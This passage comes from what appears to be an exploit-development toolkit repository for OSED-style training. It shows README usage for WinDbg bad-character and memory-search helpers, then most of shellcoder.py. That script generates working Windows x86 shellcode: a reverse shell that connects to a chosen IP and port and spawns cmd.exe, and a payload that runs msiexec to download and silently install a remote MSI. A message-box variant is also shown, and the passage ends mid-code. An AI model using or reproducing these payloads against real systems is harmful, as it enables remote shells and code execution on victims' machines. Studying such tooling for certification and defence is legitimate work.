\x20\x18\x15\x10 267 | [+] libspp: Found 316 usable gadgets! 268 | 269 | ---- STATS ---- 270 | >> BADCHARS: \x00\x0A\x0D 271 | >> Usable Gadgets Found: 316 272 | >> Module Gadget Counts 273 | - libsync: 0 274 | - libspp: 316 275 | Done! 276 | 277 | ### find-bad-chars.py 278 | 279 | Performs two primary actions: 280 | - `--generate` prints a byte string useful for inclusion in python source code 281 | - `--address` iterates over the given memory address and compares it with the bytes generated with the given constraints 282 | 283 | ``` 284 | usage: find-bad-chars.py [-h] [-s START] [-e END] [-b BAD [BAD ...]] 285 | (-a ADDRESS | -g) 286 | 287 | optional arguments: 288 | -h, --help show this help message and exit 289 | -s START, --start START 290 | hex byte from which to start searching in memory 291 | (default: 00) 292 | -e END, --end END last hex byte to search for in memory (default: ff) 293 | -b BAD [BAD ...], --bad BAD [BAD ...] 294 | space separated list of hex bytes that are already 295 | known bad (ex: -b 00 0a 0d) 296 | -a ADDRESS, --address ADDRESS 297 | address from which to begin character comparison 298 | -g, --generate generate a byte string suitable for use in source code 299 | ``` 300 | 301 | #### --address example 302 | ``` 303 | 0:008> !py find-bad-chars.py --address esp+1 --bad 1d --start 1 --end 7f 304 | 0185ff55 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 305 | 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 306 | 0185ff65 11 12 13 14 15 16 17 18 19 1A 1B 1C 1E 1F 20 21 307 | 11 12 13 14 15 16 17 18 19 1A 1B 1C 1E 1F 20 21 308 | 0185ff75 22 23 24 25 00 00 FA 00 00 00 00 94 FF 85 01 F4 309 | 22 23 24 25 -- -- -- -- -- -- -- -- -- -- -- -- 310 | 0185ff85 96 92 75 00 00 00 00 D0 96 92 75 E2 19 C1 58 DC 311 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 312 | 0185ff95 FF 85 01 AF 4A 98 77 00 00 00 00 2B C9 03 8C 00 313 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 314 | ... 315 | ``` 316 | #### --generate example 317 | ``` 318 | 0:008> !py find-bad-chars.py --generate --bad 1d --start 1 319 | [+] characters as a range of bytes 320 | chars = bytes(i for i in range(1, 256) if i not in [1D]) 321 | 322 | [+] characters as a byte string 323 | chars = b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F\x10' 324 | chars += b'\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1E\x1F\x20\x21' 325 | chars += b'\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F\x30\x31' 326 | chars += b'\x32\x33\x34\x35\x36\x37\x38\x39\x3A\x3B\x3C\x3D\x3E\x3F\x40\x41' 327 | chars += b'\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51' 328 | chars += b'\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x5B\x5C\x5D\x5E\x5F\x60\x61' 329 | chars += b'\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71' 330 | chars += b'\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x7B\x7C\x7D\x7E\x7F\x80\x81' 331 | chars += b'\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91' 332 | chars += b'\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1' 333 | chars += b'\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1' 334 | chars += b'\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1' 335 | chars += b'\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1' 336 | chars += b'\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1' 337 | chars += b'\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1' 338 | chars += b'\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF' 339 | ``` 340 | 341 | ### search.py 342 | 343 | just a wrapper around the stupid windbg search syntax 344 | ``` 345 | usage: search.py [-h] [-t {byte,ascii,unicode}] pattern 346 | 347 | Searches memory for the given search term 348 | 349 | positional arguments: 350 | pattern what you want to search for 351 | 352 | optional arguments: 353 | -h, --help show this help message and exit 354 | -t {byte,ascii,unicode}, --type {byte,ascii,unicode} 355 | data type to search for (default: byte) 356 | ``` 357 | ``` 358 | !py \\tsclient\shared\osed-scripts\search.py -t ascii fafd 359 | [=] running s -a 0 L?80000000 fafd 360 | [*] No results returned 361 | ``` 362 | ``` 363 | !py \\tsclient\shared\osed-scripts\search.py -t ascii ffff 364 | [=] running s -a 0 L?80000000 ffff 365 | 0071290e 66 66 66 66 3a 31 32 37-2e 30 2e 30 2e 31 00 00 ffff:127.0.0.1.. 366 | 00717c5c 66 66 66 66 48 48 48 48-03 03 03 03 f6 f6 f6 f6 ffffHHHH........ 367 | 00718ddc 66 66 66 66 28 28 28 28-d9 d9 d9 d9 24 24 24 24 ffff((((....$$$$ 368 | 01763892 66 66 66 66 66 66 66 66-66 66 66 66 66 66 66 66 ffffffffffffffff 369 | ... 370 | ``` 371 | -------------------------------------------------------------------------------- /shellcoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import sys 3 | import argparse 4 | import ctypes, struct, numpy 5 | import keystone as ks 6 | 7 | 8 | def to_hex(s): 9 | retval = list() 10 | for char in s: 11 | retval.append(hex(ord(char)).replace("0x", "")) 12 | return "".join(retval) 13 | 14 | 15 | def to_sin_ip(ip_address): 16 | ip_addr_hex = [] 17 | for block in ip_address.split("."): 18 | ip_addr_hex.append(format(int(block), "02x")) 19 | ip_addr_hex.reverse() 20 | return "0x" + "".join(ip_addr_hex) 21 | 22 | 23 | def to_sin_port(port): 24 | port_hex = format(int(port), "04x") 25 | return "0x" + str(port_hex[2:4]) + str(port_hex[0:2]) 26 | 27 | 28 | def ror_str(byte, count): 29 | binb = numpy.base_repr(byte, 2).zfill(32) 30 | while count > 0: 31 | binb = binb[-1] + binb[0:-1] 32 | count -= 1 33 | return (int(binb, 2)) 34 | 35 | 36 | def push_function_hash(function_name): 37 | edx = 0x00 38 | ror_count = 0 39 | for eax in function_name: 40 | edx = edx + ord(eax) 41 | if ror_count < len(function_name)-1: 42 | edx = ror_str(edx, 0xd) 43 | ror_count += 1 44 | return ("push " + hex(edx)) 45 | 46 | 47 | def push_string(input_string): 48 | rev_hex_payload = str(to_hex(input_string)) 49 | rev_hex_payload_len = len(rev_hex_payload) 50 | 51 | instructions = [] 52 | first_instructions = [] 53 | null_terminated = False 54 | for i in range(rev_hex_payload_len, 0, -1): 55 | # add every 4 byte (8 chars) to one push statement 56 | if ((i != 0) and ((i % 8) == 0)): 57 | target_bytes = rev_hex_payload[i-8:i] 58 | instructions.append(f"push dword 0x{target_bytes[6:8] + target_bytes[4:6] + target_bytes[2:4] + target_bytes[0:2]};") 59 | # handle the left ofer instructions 60 | elif ((0 == i-1) and ((i % 8) != 0) and (rev_hex_payload_len % 8) != 0): 61 | if (rev_hex_payload_len % 8 == 2): 62 | first_instructions.append(f"mov al, 0x{rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]};") 63 | first_instructions.append("push eax;") 64 | elif (rev_hex_payload_len % 8 == 4): 65 | target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):] 66 | first_instructions.append(f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};") 67 | first_instructions.append("push eax;") 68 | else: 69 | target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):] 70 | first_instructions.append(f"mov al, 0x{target_bytes[4:6]};") 71 | first_instructions.append("push eax;") 72 | first_instructions.append(f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};") 73 | first_instructions.append("push ax;") 74 | null_terminated = True 75 | 76 | instructions = first_instructions + instructions 77 | asm_instructions = "".join(instructions) 78 | return asm_instructions 79 | 80 | 81 | def rev_shellcode(rev_ip_addr, rev_port, breakpoint=0): 82 | push_instr_terminate_hash = push_function_hash("TerminateProcess") 83 | push_instr_loadlibrarya_hash = push_function_hash("LoadLibraryA") 84 | push_instr_createprocessa_hash = push_function_hash("CreateProcessA") 85 | push_instr_wsastartup_hash = push_function_hash("WSAStartup") 86 | push_instr_wsasocketa_hash = push_function_hash("WSASocketA") 87 | push_instr_wsaconnect_hash = push_function_hash("WSAConnect") 88 | 89 | asm = [ 90 | " start: ", 91 | f"{['', 'int3;'][breakpoint]} ", 92 | " mov ebp, esp ;", # 93 | " add esp, 0xfffff9f0 ;", # Avoid NULL bytes 94 | " find_kernel32: ", 95 | " xor ecx,ecx ;", # ECX = 0 96 | " mov esi,fs:[ecx+30h] ;", # ESI = &(PEB) ([FS:0x30]) 97 | " mov esi,[esi+0Ch] ;", # ESI = PEB->Ldr 98 | " mov esi,[esi+1Ch] ;", # ESI = PEB->Ldr.InInitOrder 99 | " next_module: ", 100 | " mov ebx, [esi+8h] ;", # EBX = InInitOrder[X].base_address 101 | " mov edi, [esi+20h] ;", # EDI = InInitOrder[X].module_name 102 | " mov esi, [esi] ;", # ESI = InInitOrder[X].flink (next) 103 | " cmp [edi+12*2], cx ;", # (unicode) modulename[12] == 0x00? 104 | " jne next_module ;", # No: try next module. 105 | " find_function_shorten: ", 106 | " jmp find_function_shorten_bnc ;", # Short jump 107 | " find_function_ret: ", 108 | " pop esi ;", # POP the return address from the stack 109 | " mov [ebp+0x04], esi ;", # Save find_function address for later usage 110 | " jmp resolve_symbols_kernel32 ;", # 111 | " find_function_shorten_bnc: ", 112 | " call find_function_ret ;", # Relative CALL with negative offset 113 | " find_function: ", 114 | " pushad ;", # Save all registers from Base address of kernel32 is in EBX Previous step (find_kernel32) 115 | " mov eax, [ebx+0x3c] ;", # Offset to PE Signature 116 | " mov edi, [ebx+eax+0x78] ;", # Export Table Directory RVA 117 | " add edi, ebx ;", # Export Table Directory VMA 118 | " mov ecx, [edi+0x18] ;", # NumberOfNames 119 | " mov eax, [edi+0x20] ;", # AddressOfNames RVA 120 | " add eax, ebx ;", # AddressOfNames VMA 121 | " mov [ebp-4], eax ;", # Save AddressOfNames VMA for later 122 | " find_function_loop: ", 123 | " jecxz find_function_finished ;", # Jump to the end if ECX is 0 124 | " dec ecx ;", # Decrement our names counter 125 | " mov eax, [ebp-4] ;", # Restore AddressOfNames VMA 126 | " mov esi, [eax+ecx*4] ;", # Get the RVA of the symbol name 127 | " add esi, ebx ;", # Set ESI to the VMA of the current 128 | " compute_hash: ", 129 | " xor eax, eax ;", # NULL EAX 130 | " cdq ;", # NULL EDX 131 | " cld ;", # Clear direction 132 | " compute_hash_again: ", 133 | " lodsb ;", # Load the next byte from esi into al 134 | " test al, al ;", # Check for NULL terminator 135 | " jz compute_hash_finished ;", # If the ZF is set, we've hit the NULL term 136 | " ror edx, 0x0d ;", # Rotate edx 13 bits to the right 137 | " add edx, eax ;", # Add the new byte to the accumulator 138 | " jmp compute_hash_again ;", # Next iteration 139 | " compute_hash_finished: ", 140 | " find_function_compare: ", 141 | " cmp edx, [esp+0x24] ;", # Compare the computed hash with the requested hash 142 | " jnz find_function_loop ;", # If it doesn't match go back to find_function_loop 143 | " mov edx, [edi+0x24] ;", # AddressOfNameOrdinals RVA 144 | " add edx, ebx ;", # AddressOfNameOrdinals VMA 145 | " mov cx, [edx+2*ecx] ;", # Extrapolate the function's ordinal 146 | " mov edx, [edi+0x1c] ;", # AddressOfFunctions RVA 147 | " add edx, ebx ;", # AddressOfFunctions VMA 148 | " mov eax, [edx+4*ecx] ;", # Get the function RVA 149 | " add eax, ebx ;", # Get the function VMA 150 | " mov [esp+0x1c], eax ;", # Overwrite stack version of eax from pushad 151 | " find_function_finished: ", 152 | " popad ;", # Restore registers 153 | " ret ;", # 154 | " resolve_symbols_kernel32: ", 155 | push_instr_terminate_hash, # TerminateProcess hash 156 | " call dword ptr [ebp+0x04] ;", # Call find_function 157 | " mov [ebp+0x10], eax ;", # Save TerminateProcess address for later 158 | push_instr_loadlibrarya_hash, # LoadLibraryA hash 159 | " call dword ptr [ebp+0x04] ;", # Call find_function 160 | " mov [ebp+0x14], eax ;", # Save LoadLibraryA address for later 161 | push_instr_createprocessa_hash, # CreateProcessA hash 162 | " call dword ptr [ebp+0x04] ;", # Call find_function 163 | " mov [ebp+0x18], eax ;", # Save CreateProcessA address for later 164 | " load_ws2_32: ", 165 | " xor eax, eax ;", # Null EAX 166 | " mov ax, 0x6c6c ;", # Move the end of the string in AX 167 | " push eax ;", # Push EAX on the stack with string NULL terminator 168 | " push 0x642e3233 ;", # Push part of the string on the stack 169 | " push 0x5f327377 ;", # Push another part of the string on the stack 170 | " push esp ;", # Push ESP to have a pointer to the string 171 | " call dword ptr [ebp+0x14] ;", # Call LoadLibraryA 172 | " resolve_symbols_ws2_32: ", 173 | " mov ebx, eax ;", # Move the base address of ws2_32.dll to EBX 174 | push_instr_wsastartup_hash, # WSAStartup hash 175 | " call dword ptr [ebp+0x04] ;", # Call find_function 176 | " mov [ebp+0x1C], eax ;", # Save WSAStartup address for later usage 177 | push_instr_wsasocketa_hash, # WSASocketA hash 178 | " call dword ptr [ebp+0x04] ;", # Call find_function 179 | " mov [ebp+0x20], eax ;", # Save WSASocketA address for later usage 180 | push_instr_wsaconnect_hash, # WSAConnect hash 181 | " call dword ptr [ebp+0x04] ;", # Call find_function 182 | " mov [ebp+0x24], eax ;", # Save WSAConnect address for later usage 183 | " call_wsastartup: ;", 184 | " mov eax, esp ;", # Move ESP to EAX 185 | " xor ecx, ecx ;", 186 | " mov cx, 0x590 ;", # Move 0x590 to CX 187 | " sub eax, ecx ;", # Substract CX from EAX to avoid overwriting the structure later 188 | " push eax ;", # Push lpWSAData 189 | " xor eax, eax ;", # Null EAX 190 | " mov ax, 0x0202 ;", # Move version to AX 191 | " push eax ;", # Push wVersionRequired 192 | " call dword ptr [ebp+0x1C] ;", # Call WSAStartup 193 | " call_wsasocketa: ", 194 | " xor eax, eax ;", # Null EAX 195 | " push eax ;", # Push dwFlags 196 | " push eax ;", # Push g 197 | " push eax ;", # Push lpProtocolInfo 198 | " mov al, 0x06 ;", # Move AL, IPPROTO_TCP 199 | " push eax ;", # Push protocol 200 | " sub al, 0x05 ;", # Substract 0x05 from AL, AL = 0x01 201 | " push eax ;", # Push type 202 | " inc eax ;", # Increase EAX, EAX = 0x02 203 | " push eax ;", # Push af 204 | " call dword ptr [ebp+0x20] ;", # Call WSASocketA 205 | " call_wsaconnect: ", 206 | " mov esi, eax ;", # Move the SOCKET descriptor to ESI 207 | " xor eax, eax ;", # Null EAX 208 | " push eax ;", # Push sin_zero[] 209 | " push eax ;", # Push sin_zero[] 210 | f" push {to_sin_ip(rev_ip_addr)} ;", # Push sin_addr (example: 192.168.2.1) 211 | f" mov ax, {to_sin_port(rev_port)} ;", # Move the sin_port (example: 443) to AX 212 | " shl eax, 0x10 ;", # Left shift EAX by 0x10 bytes 213 | " add ax, 0x02 ;", # Add 0x02 (AF_INET) to AX 214 | " push eax ;", # Push sin_port & sin_family 215 | " push esp ;", # Push pointer to the sockaddr_in structure 216 | " pop edi ;", # Store pointer to sockaddr_in in EDI 217 | " xor eax, eax ;", # Null EAX 218 | " push eax ;", # Push lpGQOS 219 | " push eax ;", # Push lpSQOS 220 | " push eax ;", # Push lpCalleeData 221 | " push eax ;", # Push lpCalleeData 222 | " add al, 0x10 ;", # Set AL to 0x10 223 | " push eax ;", # Push namelen 224 | " push edi ;", # Push *name 225 | " push esi ;", # Push s 226 | " call dword ptr [ebp+0x24] ;", # Call WSAConnect 227 | " create_startupinfoa: ", 228 | " push esi ;", # Push hStdError 229 | " push esi ;", # Push hStdOutput 230 | " push esi ;", # Push hStdInput 231 | " xor eax, eax ;", # Null EAX 232 | " push eax ;", # Push lpReserved2 233 | " push eax ;", # Push cbReserved2 & wShowWindow 234 | " mov al, 0x80 ;", # Move 0x80 to AL 235 | " xor ecx, ecx ;", # Null ECX 236 | " mov cl, 0x80 ;", # Move 0x80 to CX 237 | " add eax, ecx ;", # Set EAX to 0x100 238 | " push eax ;", # Push dwFlags 239 | " xor eax, eax ;", # Null EAX 240 | " push eax ;", # Push dwFillAttribute 241 | " push eax ;", # Push dwYCountChars 242 | " push eax ;", # Push dwXCountChars 243 | " push eax ;", # Push dwYSize 244 | " push eax ;", # Push dwXSize 245 | " push eax ;", # Push dwY 246 | " push eax ;", # Push dwX 247 | " push eax ;", # Push lpTitle 248 | " push eax ;", # Push lpDesktop 249 | " push eax ;", # Push lpReserved 250 | " mov al, 0x44 ;", # Move 0x44 to AL 251 | " push eax ;", # Push cb 252 | " push esp ;", # Push pointer to the STARTUPINFOA structure 253 | " pop edi ;", # Store pointer to STARTUPINFOA in EDI 254 | " create_cmd_string: ", 255 | " mov eax, 0xff9a879b ;", # Move 0xff9a879b into EAX 256 | " neg eax ;", # Negate EAX, EAX = 00657865 257 | " push eax ;", # Push part of the "cmd.exe" string 258 | " push 0x2e646d63 ;", # Push the remainder of the "cmd.exe" 259 | " push esp ;", # Push pointer to the "cmd.exe" string 260 | " pop ebx ;", # Store pointer to the "cmd.exe" string 261 | " call_createprocessa: ", 262 | " mov eax, esp ;", # Move ESP to EAX 263 | " xor ecx, ecx ;", # Null ECX 264 | " mov cx, 0x390 ;", # Move 0x390 to CX 265 | " sub eax, ecx ;", # Substract CX from EAX to avoid overwriting the structure later 266 | " push eax ;", # Push lpProcessInformation 267 | " push edi ;", # Push lpStartupInfo 268 | " xor eax, eax ;", # Null EAX 269 | " push eax ;", # Push lpCurrentDirectory 270 | " push eax ;", # Push lpEnvironment 271 | " push eax ;", # Push dwCreationFlags 272 | " inc eax ;", # Increase EAX, EAX = 0x01 (TRUE) 273 | " push eax ;", # Push bInheritHandles 274 | " dec eax ;", # Null EAX 275 | " push eax ;", # Push lpThreadAttributes 276 | " push eax ;", # Push lpProcessAttributes 277 | " push ebx ;", # Push lpCommandLine 278 | " push eax ;", # Push lpApplicationName 279 | " call dword ptr [ebp+0x18] ;", # Call CreateProcessA 280 | " exec_shellcode: ", 281 | " xor ecx, ecx ;", # Null ECX 282 | " push ecx ;", # uExitCode 283 | " push 0xffffffff ;", # hProcess 284 | " call dword ptr [ebp+0x10] ;", # Call TerminateProcess 285 | ] 286 | return "\n".join(asm) 287 | 288 | 289 | def msi_shellcode(rev_ip_addr, rev_port, breakpoint=0): 290 | # strip the port if it is 80 291 | if rev_port == "80": 292 | rev_port = "" 293 | else: 294 | rev_port = (":" + rev_port) 295 | 296 | # align the string to 4 bytes (to keep the stack aligned) 297 | msi_exec_str = f"msiexec /i http://{rev_ip_addr}{rev_port}/X /qn" 298 | msi_exec_str += " " * (len(msi_exec_str) % 4) 299 | 300 | push_instr_msvcrt = push_string("msvcrt.dll") 301 | push_instr_msi = push_string(msi_exec_str) 302 | push_instr_terminate_hash = push_function_hash("TerminateProcess") 303 | push_instr_loadlibrarya_hash = push_function_hash("LoadLibraryA") 304 | push_instr_system_hash = push_function_hash("system") 305 | 306 | asm = [ 307 | " start: ", 308 | f"{['', 'int3;'][breakpoint]} ", 309 | " mov ebp, esp ;", # 310 | " add esp, 0xfffff9f0 ;", # Avoid NULL bytes 311 | " find_kernel32: ", 312 | " xor ecx,ecx ;", # ECX = 0 313 | " mov esi,fs:[ecx+30h] ;", # ESI = &(PEB) ([FS:0x30]) 314 | " mov esi,[esi+0Ch] ;", # ESI = PEB->Ldr 315 | " mov esi,[esi+1Ch] ;", # ESI = PEB->Ldr.InInitOrder 316 | " next_module: ", 317 | " mov ebx, [esi+8h] ;", # EBX = InInitOrder[X].base_address 318 | " mov edi, [esi+20h] ;", # EDI = InInitOrder[X].module_name 319 | " mov esi, [esi] ;", # ESI = InInitOrder[X].flink (next) 320 | " cmp [edi+12*2], cx ;", # (unicode) modulename[12] == 0x00? 321 | " jne next_module ;", # No: try next module. 322 | " find_function_shorten: ", 323 | " jmp find_function_shorten_bnc ;", # Short jump 324 | " find_function_ret: ", 325 | " pop esi ;", # POP the return address from the stack 326 | " mov [ebp+0x04], esi ;", # Save find_function address for later usage 327 | " jmp resolve_symbols_kernel32 ;", # 328 | " find_function_shorten_bnc: ", 329 | " call find_function_ret ;", # Relative CALL with negative offset 330 | " find_function: ", 331 | " pushad ;", # Save all registers from Base address of kernel32 is in EBX Previous step (find_kernel32) 332 | " mov eax, [ebx+0x3c] ;", # Offset to PE Signature 333 | " mov edi, [ebx+eax+0x78] ;", # Export Table Directory RVA 334 | " add edi, ebx ;", # Export Table Directory VMA 335 | " mov ecx, [edi+0x18] ;", # NumberOfNames 336 | " mov eax, [edi+0x20] ;", # AddressOfNames RVA 337 | " add eax, ebx ;", # AddressOfNames VMA 338 | " mov [ebp-4], eax ;", # Save AddressOfNames VMA for later 339 | " find_function_loop: ", 340 | " jecxz find_function_finished ;", # Jump to the end if ECX is 0 341 | " dec ecx ;", # Decrement our names counter 342 | " mov eax, [ebp-4] ;", # Restore AddressOfNames VMA 343 | " mov esi, [eax+ecx*4] ;", # Get the RVA of the symbol name 344 | " add esi, ebx ;", # Set ESI to the VMA of the current 345 | " compute_hash: ", 346 | " xor eax, eax ;", # NULL EAX 347 | " cdq ;", # NULL EDX 348 | " cld ;", # Clear direction 349 | " compute_hash_again: ", 350 | " lodsb ;", # Load the next byte from esi into al 351 | " test al, al ;", # Check for NULL terminator 352 | " jz compute_hash_finished ;", # If the ZF is set, we've hit the NULL term 353 | " ror edx, 0x0d ;", # Rotate edx 13 bits to the right 354 | " add edx, eax ;", # Add the new byte to the accumulator 355 | " jmp compute_hash_again ;", # Next iteration 356 | " compute_hash_finished: ", 357 | " find_function_compare: ", 358 | " cmp edx, [esp+0x24] ;", # Compare the computed hash with the requested hash 359 | " jnz find_function_loop ;", # If it doesn't match go back to find_function_loop 360 | " mov edx, [edi+0x24] ;", # AddressOfNameOrdinals RVA 361 | " add edx, ebx ;", # AddressOfNameOrdinals VMA 362 | " mov cx, [edx+2*ecx] ;", # Extrapolate the function's ordinal 363 | " mov edx, [edi+0x1c] ;", # AddressOfFunctions RVA 364 | " add edx, ebx ;", # AddressOfFunctions VMA 365 | " mov eax, [edx+4*ecx] ;", # Get the function RVA 366 | " add eax, ebx ;", # Get the function VMA 367 | " mov [esp+0x1c], eax ;", # Overwrite stack version of eax from pushad 368 | " find_function_finished: ", 369 | " popad ;", # Restore registers 370 | " ret ;", # 371 | " resolve_symbols_kernel32: ", 372 | push_instr_terminate_hash, # TerminateProcess hash 373 | " call dword ptr [ebp+0x04] ;", # Call find_function 374 | " mov [ebp+0x10], eax ;", # Save TerminateProcess address for later 375 | push_instr_loadlibrarya_hash, # LoadLibraryA hash 376 | " call dword ptr [ebp+0x04] ;", # Call find_function 377 | " mov [ebp+0x14], eax ;", # Save LoadLibraryA address for later 378 | " load_msvcrt: ", 379 | " xor eax, eax ;", # Null EAX / Push the target library string on the stack --> msvcrt.dll --> 6d737663 72742e64 6c6c 380 | " push eax ;", # Push a null byte 381 | push_instr_msvcrt, # Push the msvcrt.dll string 382 | " push esp ;", # Push ESP to have a pointer to the string 383 | " call dword ptr [ebp+0x14] ;", # Call LoadLibraryA 384 | " resolve_symbols_msvcrt: ", 385 | " mov ebx, eax ;", # Move the base address of msvcrt.dll to EBX 386 | push_instr_system_hash, # System hash 387 | " call dword ptr [ebp+0x04] ;", # Call find_function 388 | " mov [ebp+0x18], eax ;", # Save System address for later 389 | " call_system: ", # Push the target sting on the stack --> msiexec /i http://192.168.1.167/X /qn --> http://string-functions.com/string-hex.aspx 390 | " xor eax, eax ;", # Null EAX 391 | " push eax ;", 392 | push_instr_msi, 393 | " push esp ;", # Push the pointer to the command on the stack 394 | " call dword ptr [ebp+0x18] ;", # Call system (https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/system-wsystem?view=msvc-160) 395 | " exec_shellcode: ", 396 | " xor ecx, ecx ;", # Null ECX 397 | " push ecx ;", # uExitCode 398 | " push 0xffffffff ;", # hProcess 399 | " call dword ptr [ebp+0x10] ;", # Call TerminateProcess 400 | ] 401 | return "\n".join(asm) 402 | 403 | 404 | def msg_box(header, text, breakpoint=0): 405 | # MessageBoxA() in user32.dll 406 | push_instr_user32 = push_string("user32.dll") 407 | push_instr_msgbox_hash = push_function_hash("MessageBoxA") 408 | push_instr_terminate_hash = push_function_hash("TerminateProcess") 409 | push_instr_loadlibrarya_hash = push_function_hash("LoadLibraryA") 410 | push_instr_header = push_string(header) 411 | push_instr_text = push_string(text) 412 | 413 | asm = [ 414 | " start: ", 415 | f"{['', 'int3;'][breakpoint]} ", 416 | " mov ebp, esp ;", # 417 | " add esp, 0xfffff9f0 ;", # Avoid NULL bytes 418 | " find_kernel32: ", 419 | " xor ecx,ecx ;", # ECX = 0 420 | " mov esi,fs:[ecx+30h] ;", # ESI = &(PEB) ([FS:0x30]) 421 | " mov esi,[esi+0Ch] ;", # ESI = PEB->Ldr 422 | " mov esi,[esi+1Ch] ;", # ESI = PEB->Ldr.InInitOrder 423 | " next_module: ", 424 | " mov ebx, [esi+8h] ;", # EBX = InInitOrder[X].base_address 425 | " mov edi, [esi+20h] ;", # EDI = InInitOrder[X].module_name 426 | " mov esi, [esi] ;", # ESI = InInitOrder[X].flink (next) 427 | " cmp [edi+12*2], cx ;", # (unicode) modulename[12] == 0x00? 428 | " jne next_module ;", # No: try next module. 429 | " find_function_shorten: ", 430 | " jmp find_function_shorten_bnc ;", # Short jump 431 | " find_function_ret: ", 432 | " pop esi ;", # POP the return address from the stack 433 | " mov [ebp+0x04], esi ;", # Save find_function address for later usage 434 | " jmp resolve_symbols_kernel32 ;", # 435 | " find_function_shorten_bnc: ", 436 | " call find_function_ret ;", # Relative CALL with negative offset 437 | " find_function: ", 438 | " pushad ;", # Save all registers from Base address of kernel32 is in EBX Previous step (find_kernel32) 439 | " mov eax, [ebx+0x3c] ;", # Offset to PE Signature 440 | " mov edi, [ebx+eax+0x78] ;", # Export Table Directory RVA 441 | " add edi, ebx ;", # Export Table Directory VMA 442 | " mov ecx, [edi+0x18] ;", # NumberOfNames 443 | " mov eax, [edi+0x20] ;", # AddressOfNames RVA 444 | " add eax, ebx ;", # AddressOfNames VMA 445 | " mov [ebp-4], eax ;", # Save AddressOfNames VMA for later 446 | " find_function_loop: ", 447 | " jecxz find_function_finished ;", # Jump to the end if ECX is 0 448 | " dec ecx ;", # Decrement our names counter 449 | " mov eax, [ebp-4] ;", # Restore AddressOfNames VMA 450 | " mov esi, [eax+ecx*4] ;", # Get the RVA of the symbol name 451 | " add esi, ebx ;", # Set ESI to the VMA of the current 452 | " compute_hash: ", 453 | " xor eax, eax ;", # NULL EAX 454 | " cdq ;", # NULL EDX 455 | " cld ;", # Clear direction 456 | " compute_hash_again: ", 457 | " lodsb ;", # Load the next byte from esi into al 458 | " test al, al ;", # Check for NULL terminator 459 | " jz compute_hash_finished ;", # If the ZF is set, we've hit the NULL term 460 | " ror edx, 0x0d ;", # Rotate edx 13 bits to the right 461 | " add edx, eax ;", # Add the new byte to the accumulator 462 | " jmp compute_hash_again ;", # Next iteration 463 | " compute_hash_finished: ", 464 | " find_function_compare: ", 465 | " cmp edx, [esp+0x24] ;", # Compare the computed hash with the requested hash 466 | " jnz find_function_loop ;", # If it doesn't match go back to find_function_loop 467 | " mov edx, [edi+0x24] ;", # AddressOfNameOrdinals RVA 468 | " add edx, ebx ;", # AddressOfNameOrdinals VMA 469 | " mov cx, [edx+2*ecx] ;", # Extrapolate the function's ordinal 470 | " mov edx, [edi+0x1c] ;", # AddressOfFunctions RVA 471 | " add edx, ebx ;", # AddressOfFunctions VMA 472 | " mov eax, [edx+4*ecx] ;", # Get the function RVA 473 | " add eax, ebx ;", # Get the function VMA 474 | " mov [esp+0x1c], eax ;", # Overwrite stack version of eax from pushad 475 | " find_function_finished: ", 476 | " popad ;", # Restore registers 477 | " ret ;", # 478 | " resolve_symbols_kernel32: ", 479 | push_instr_terminate_hash, # TerminateProcess hash 480 | " call dword ptr [ebp+0x04] ;", # Call find_function 481 | " mov [ebp+0x10], eax ;", # Save TerminateProcess address for later 482 | push_instr_loadlibrarya_hash, # LoadLibraryA hash 483 | " call dword ptr [ebp+0x04] ;", # Call find_function 484 | " mov [ebp+0x14], eax ;", # Save LoadLibraryA address for later 485 | " load_user32: ", 486 | " xor eax, eax ;", # Null EAX / Push the target library string on the stack --> user32.dll 487 | " push eax ;", # Push a null byte 488 | push_instr_user32, # Push the DLL name 489 | " push esp ;", # Push ESP to have a pointer to the string 490 | " call dword ptr [ebp+0x14] ;", # Call LoadLibraryA 491 | " resolve_symbols_user32: ", 492 | " mov ebx, eax ;", # Move the base address of user32.dll to EBX 493 | push_instr_msgbox_hash, # MessageBoxA hash 494 | " call dword ptr [ebp+0x04] ;", # Call find_function 495 | " mov [ebp+0x18], eax ;", # Save MessageBoxA address for later 496 | " call_system: ", # Push the target stings on the stack (https://www.fuzzysecurity.com/tutorials/expDev/6.html) 497 | " xor eax, eax ;", # Null EAX 498 | " push eax ;", # Create a null byte on the stack 499 | push_instr_header, # Push the header text 500 | " mov ebx, esp ;", # Store the pointer to the window header in ebx 501 | " xor eax, eax ;", # Null EAX 502 | " push eax ;", # Create a 